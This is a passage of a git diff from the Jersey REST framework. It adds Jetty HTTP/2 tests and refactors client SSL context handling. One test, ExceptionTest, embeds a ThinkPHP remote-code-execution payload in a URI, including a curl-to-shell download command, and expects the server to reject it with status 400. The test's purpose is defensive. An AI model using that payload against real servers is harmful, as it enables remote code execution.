+    public void testAsyncGet() throws ExecutionException, InterruptedException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+        // get() waits for the response
+        assertEquals("DONE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+
+    /**
+     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+     */
+    @Test
+    public void testAsyncMultipleInvocations() throws Exception {
+        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+        assertThat(response.getStatus(), is(200));
+        assertThat(response.readEntity(String.class), is("OK"));
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
new file mode 100644
index 0000000..60e086b
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+    @Path("{status}")
+    public static class ExceptionResource {
+        @GET
+        public String get(@PathParam("status") int status) {
+            throw new WebApplicationException(status);
+        }
+
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        request.addHeader("X-Forwarded-Host", "_foo.com");
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCode() throws IOException {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("400").build());
+        assertEquals(400, r.request().get(Response.class).getStatus());
+    }
+
+    @Test
+    public void test500StatusCode() {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("500").build());
+
+        assertEquals(500, r.request().get(Response.class).getStatus());
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
new file mode 100644
index 0000000..93ae01f
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+    @Path("/one")
+    public static class One {
+        @GET
+        public String get() {
+            return "one";
+        }
+    }
+
+    @Path("/two")
+    public static class Two {
+        @GET
+        public String get() {
+            return "two";
+        }
+    }
+
+    public static class Reloader extends AbstractContainerLifecycleListener {
+        Container container;
+
+        public void reload(ResourceConfig newConfig) {
+            container.reload(newConfig);
+        }
+
+        public void reload() {
+            container.reload();
+        }
+
+        @Override
+        public void onStartup(Container container) {
+            this.container = container;
+        }
+
+    }
+
+    @Test
+    public void testReload() {
+        final ResourceConfig rc = new ResourceConfig(One.class);
+
+        Reloader reloader = new Reloader();
+        rc.registerInstances(reloader);
+
+        startServer(rc);
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+        // add Two resource
+        reloader.reload(new ResourceConfig(One.class, Two.class));
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals("two", r.path("two").request().get(String.class));
+    }
+
+    static class StartStopListener extends AbstractContainerLifecycleListener {
+        volatile boolean started;
+        volatile boolean stopped;
+
+        @Override
+        public void onStartup(Container container) {
+            started = true;
+        }
+
+        @Override
+        public void onShutdown(Container container) {
+            stopped = true;
+        }
+    }
+
+    @Test
+    public void testStartupShutdownHooks() {
+        final StartStopListener listener = new StartStopListener();
+
+        startServer(new ResourceConfig(One.class).register(listener));
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertThat(r.path("one").request().get(String.class), equalTo("one"));
+        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+        stopServer();
+
+        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
new file mode 100644
index 0000000..3e7a8ac
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        startServer(HelloWorldResource.class);
+        Client client = ClientBuilder.newClient();
+        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(0, response.getLength());
+        assertEquals("foo/bar", response.getMediaType().toString());
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java
index 320d7ba..af52543 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/HttpVersionChooser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,7 @@
 
 import io.netty.channel.ChannelHandlerContext;
 import io.netty.handler.codec.http.HttpServerCodec;
+import io.netty.handler.codec.http.HttpServerExpectContinueHandler;
 import io.netty.handler.codec.http2.Http2MultiplexCodecBuilder;
 import io.netty.handler.ssl.ApplicationProtocolNames;
 import io.netty.handler.ssl.ApplicationProtocolNegotiationHandler;
@@ -55,6 +56,7 @@
 
         if (ApplicationProtocolNames.HTTP_1_1.equals(protocol)) {
             ctx.pipeline().addLast(new HttpServerCodec(),
+                                   new HttpServerExpectContinueHandler(),
                                    new ChunkedWriteHandler(),
                                    new JerseyServerHandler(baseUri, container, resourceConfig));
             return;
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
index dbe8dc7..0b43e1e 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -88,10 +88,6 @@
         if (msg instanceof HttpRequest) {
             final HttpRequest req = (HttpRequest) msg;
 
-            if (HttpUtil.is100ContinueExpected(req)) {
-                ctx.write(new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE));
-            }
-
             nettyInputStream.clear(); // clearing the content - possible leftover from previous request processing.
             final ContainerRequest requestContext = createContainerRequest(ctx, req);
 
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java
index b6d73fd..0cdbb3b 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerInitializer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,6 +25,7 @@
 import io.netty.channel.socket.SocketChannel;
 import io.netty.handler.codec.http.HttpMessage;
 import io.netty.handler.codec.http.HttpServerCodec;
+import io.netty.handler.codec.http.HttpServerExpectContinueHandler;
 import io.netty.handler.codec.http.HttpServerUpgradeHandler;
 import io.netty.handler.codec.http2.Http2CodecUtil;
 import io.netty.handler.codec.http2.Http2MultiplexCodecBuilder;
@@ -103,6 +104,7 @@
                 p.addLast(sslCtx.newHandler(ch.alloc()));
             }
             p.addLast(new HttpServerCodec());
+            p.addLast(new HttpServerExpectContinueHandler());
             p.addLast(new ChunkedWriteHandler());
             p.addLast(new JerseyServerHandler(baseUri, applicationPath, container, resourceConfig));
         }
@@ -123,6 +125,7 @@
         final HttpServerCodec sourceCodec = new HttpServerCodec();
 
         p.addLast(sourceCodec);
+        p.addLast("respondExpectContinue", new HttpServerExpectContinueHandler());
         p.addLast(new HttpServerUpgradeHandler(sourceCodec, new HttpServerUpgradeHandler.UpgradeCodecFactory() {
             @Override
             public HttpServerUpgradeHandler.UpgradeCodec newUpgradeCodec(CharSequence protocol) {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
index cd90578..64963c6 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
@@ -24,6 +24,7 @@
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.PropertyAlias;
 
+import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
 
 /**
@@ -481,6 +482,16 @@
      */
     public static final String CONNECTOR_PROVIDER = "jersey.config.client.connector.provider";
 
+    /**
+     * <p>The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current
+     * HTTP request. Has precedence over the {@link Client#getSslContext()}.
+     * </p>
+     * <p>Currently supported by the default {@code HttpUrlConnector} and by {@code NettyConnector} only.</p>
+     * @since 2.41
+     * @see org.glassfish.jersey.client.SslContextClientBuilder
+     */
+    public static final String SSL_CONTEXT_SUPPLIER = "jersey.config.client.ssl.context.supplier";
+
     private ClientProperties() {
         // prevents instantiation
     }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
index f9539b0..992311e 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,6 @@
 import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Cookie;
 import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
@@ -42,6 +41,7 @@
 import jakarta.ws.rs.ext.WriterInterceptor;
 
 import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.http.HttpHeaders;
 import org.glassfish.jersey.internal.MapPropertiesDelegate;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 import org.glassfish.jersey.internal.guava.Preconditions;
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
index 056f474..e0446d2 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -283,7 +283,9 @@
          * @throws java.io.IOException in case the connection cannot be provided.
          */
         default HttpURLConnection getConnection(URL url, Proxy proxy) throws IOException {
-            return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy);
+            synchronized (this){
+                return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy);
+            }
         }
     }
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
index 755fb5a..3a39375 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,13 +20,13 @@
 import java.lang.ref.ReferenceQueue;
 import java.lang.ref.WeakReference;
 import java.net.URI;
-import java.util.Iterator;
 import java.util.Map;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.LinkedBlockingDeque;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Supplier;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -40,9 +40,7 @@
 import org.glassfish.jersey.SslConfigurator;
 import org.glassfish.jersey.client.internal.LocalizationMessages;
 import org.glassfish.jersey.client.spi.DefaultSslContextProvider;
-import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.internal.util.collection.Values;
 
 import static org.glassfish.jersey.internal.guava.Preconditions.checkNotNull;
 import static org.glassfish.jersey.internal.guava.Preconditions.checkState;
@@ -67,7 +65,7 @@
     private final boolean isDefaultSslContext;
     private final ClientConfig config;
     private final HostnameVerifier hostnameVerifier;
-    private final UnsafeValue<SSLContext, IllegalStateException> sslContext;
+    private final Supplier<SSLContext> sslContext;
     private final LinkedBlockingDeque<WeakReference<JerseyClient.ShutdownHook>> shutdownHooks =
                                         new LinkedBlockingDeque<WeakReference<JerseyClient.ShutdownHook>>();
     private final ReferenceQueue<JerseyClient.ShutdownHook> shReferenceQueue = new ReferenceQueue<JerseyClient.ShutdownHook>();
@@ -86,7 +84,7 @@
      * Create a new Jersey client instance using a default configuration.
      */
     protected JerseyClient() {
-        this(null, (UnsafeValue<SSLContext, IllegalStateException>) null, null, null);
+        this(null, new SslContextClientBuilder(), null, null);
     }
 
     /**
@@ -115,7 +113,9 @@
                            final SSLContext sslContext,
                            final HostnameVerifier verifier,
                            final DefaultSslContextProvider defaultSslContextProvider) {
-        this(config, sslContext == null ? null : Values.unsafe(sslContext), verifier,
+        this(config,
+             sslContext == null ? new SslContextClientBuilder() : new SslContextClientBuilder().sslContext(sslContext),
+             verifier,
              defaultSslContextProvider);
     }
 
@@ -145,32 +145,32 @@
                            final UnsafeValue<SSLContext, IllegalStateException> sslContextProvider,
                            final HostnameVerifier verifier,
                            final DefaultSslContextProvider defaultSslContextProvider) {
-        this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config);
+        this(config,
+             sslContextProvider == null
+                     ? new SslContextClientBuilder()
+                     : new SslContextClientBuilder().sslContext(sslContextProvider.get()),
+             verifier,
+             defaultSslContextProvider
+        );
+    }
 
-        if (sslContextProvider == null) {
-            this.isDefaultSslContext = true;
-
-            if (defaultSslContextProvider != null) {
-                this.sslContext = createLazySslContext(defaultSslContextProvider);
-            } else {
-                final DefaultSslContextProvider lookedUpSslContextProvider;
-
-                final Iterator<DefaultSslContextProvider> iterator =
-                        ServiceFinder.find(DefaultSslContextProvider.class).iterator();
-
-                if (iterator.hasNext()) {
-                    lookedUpSslContextProvider = iterator.next();
-                } else {
-                    lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER;
-                }
-
-                this.sslContext = createLazySslContext(lookedUpSslContextProvider);
-            }
-        } else {
-            this.isDefaultSslContext = false;
-            this.sslContext = Values.lazy(sslContextProvider);
+    /**
+     * Create a new Jersey client instance.
+     *
+     * @param config                    jersey client configuration.
+     * @param sslContextClientBuilder          jersey client SSL context builder. The builder is expected to
+     *                                  return non-default value.
+     * @param verifier                  jersey client host name verifier.
+     * @param defaultSslContextProvider default SSL context provider.
+     */
+    JerseyClient(final Configuration config, final SslContextClientBuilder sslContextClientBuilder,
+                 final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) {
+        if (defaultSslContextProvider != null) {
+            sslContextClientBuilder.defaultSslContextProvider(defaultSslContextProvider);
         }
-
+        this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config);
+        this.isDefaultSslContext = sslContextClientBuilder.isDefaultSslContext();
+        this.sslContext = sslContextClientBuilder;
         this.hostnameVerifier = verifier;
     }
 
@@ -195,15 +195,6 @@
         }
     }
 
-    private UnsafeValue<SSLContext, IllegalStateException> createLazySslContext(final DefaultSslContextProvider provider) {
-        return Values.lazy(new UnsafeValue<SSLContext, IllegalStateException>() {
-            @Override
-            public SSLContext get() {
-                return provider.getDefaultSslContext();
-            }
-        });
-    }
-
     /**
      * Register a new client shutdown hook.
      *
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
index 9277919..41dbde9 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
@@ -32,16 +32,12 @@
 import javax.net.ssl.HostnameVerifier;
 import javax.net.ssl.SSLContext;
 
-import org.glassfish.jersey.SslConfigurator;
 import org.glassfish.jersey.client.innate.inject.NonInjectionManager;
-import org.glassfish.jersey.client.internal.LocalizationMessages;
 import org.glassfish.jersey.client.spi.ClientBuilderListener;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
-import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.model.internal.RankedComparator;
 import org.glassfish.jersey.model.internal.RankedProvider;
 
@@ -54,8 +50,7 @@
 
     private final ClientConfig config;
     private HostnameVerifier hostnameVerifier;
-    private SslConfigurator sslConfigurator;
-    private SSLContext sslContext;
+    private final SslContextClientBuilder sslContextClientBuilder = new SslContextClientBuilder();
 
     private static final List<ClientBuilderListener> CLIENT_BUILDER_LISTENERS;
 
@@ -113,41 +108,19 @@
 
     @Override
     public JerseyClientBuilder sslContext(SSLContext sslContext) {
-        if (sslContext == null) {
-            throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT());
-        }
-        this.sslContext = sslContext;
-        sslConfigurator = null;
+        sslContextClientBuilder.sslContext(sslContext);
         return this;
     }
 
     @Override
     public JerseyClientBuilder keyStore(KeyStore keyStore, char[] password) {
-        if (keyStore == null) {
-            throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE());
-        }
-        if (password == null) {
-            throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD());
-        }
-        if (sslConfigurator == null) {
-            sslConfigurator = SslConfigurator.newInstance();
-        }
-        sslConfigurator.keyStore(keyStore);
-        sslConfigurator.keyPassword(password);
-        sslContext = null;
+        sslContextClientBuilder.keyStore(keyStore, password);
         return this;
     }
 
     @Override
     public JerseyClientBuilder trustStore(KeyStore trustStore) {
-        if (trustStore == null) {
-            throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE());
-        }
-        if (sslConfigurator == null) {
-            sslConfigurator = SslConfigurator.newInstance();
-        }
-        sslConfigurator.trustStore(trustStore);
-        sslContext = null;
+        sslContextClientBuilder.trustStore(trustStore);
         return this;
     }
 
@@ -194,22 +167,7 @@
         ExternalPropertiesConfigurationFactory.configure(this.config);
         setConnectorFromProperties();
 
-        if (sslContext != null) {
-            return new JerseyClient(config, sslContext, hostnameVerifier, null);
-        } else if (sslConfigurator != null) {
-            final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy();
-            return new JerseyClient(
-                    config,
-                    Values.lazy(new UnsafeValue<SSLContext, IllegalStateException>() {
-                        @Override
-                        public SSLContext get() {
-                            return sslConfiguratorCopy.createSSLContext();
-                        }
-                    }),
-                    hostnameVerifier);
-        } else {
-            return new JerseyClient(config, (UnsafeValue<SSLContext, IllegalStateException>) null, hostnameVerifier);
-        }
+        return new JerseyClient(config, sslContextClientBuilder, hostnameVerifier, null);
     }
 
     private void setConnectorFromProperties() {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java
new file mode 100644
index 0000000..cea0439
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client;
+
+import org.glassfish.jersey.SslConfigurator;
+import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.client.spi.DefaultSslContextProvider;
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.client.WebTarget;
+import java.security.KeyStore;
+import java.util.Iterator;
+import java.util.function.Supplier;
+
+/**
+ * <p>The class that builds {@link SSLContext} for the client from keystore, truststore. Provides a cached
+ * {@link Supplier} from the built or user provided {@link SSLContext}.</p>
+ *
+ * <p>The class is used internally by {@link JerseyClientBuilder}, or it can be used by connectors supporting setting
+ * the {@link SSLContext} per request.</p>
+ *
+ * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, char[])
+ * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, String)
+ * @see jakarta.ws.rs.client.ClientBuilder#sslContext(SSLContext)
+ */
+public final class SslContextClientBuilder implements Supplier<SSLContext> {
+    private SslConfigurator sslConfigurator = null;
+    private SSLContext sslContext = null;
+    private DefaultSslContextProvider defaultSslContextProvider = null;
+    private final Supplier<SSLContext> suppliedValue = Values.lazy((Value<SSLContext>) () -> supply());
+
+    private static final DefaultSslContextProvider DEFAULT_SSL_CONTEXT_PROVIDER = new DefaultSslContextProvider() {
+        @Override
+        public SSLContext getDefaultSslContext() {
+            return SslConfigurator.getDefaultContext();
+        }
+    };
+
+    /**
+     * Set the SSL context that will be used when creating secured transport connections
+     * to server endpoints from {@link WebTarget web targets} created by the client
+     * instance that is using this SSL context. The SSL context is expected to have all the
+     * security infrastructure initialized, including the key and trust managers.
+     * <p>
+     * Setting a SSL context instance resets any {@link #keyStore(java.security.KeyStore, char[])
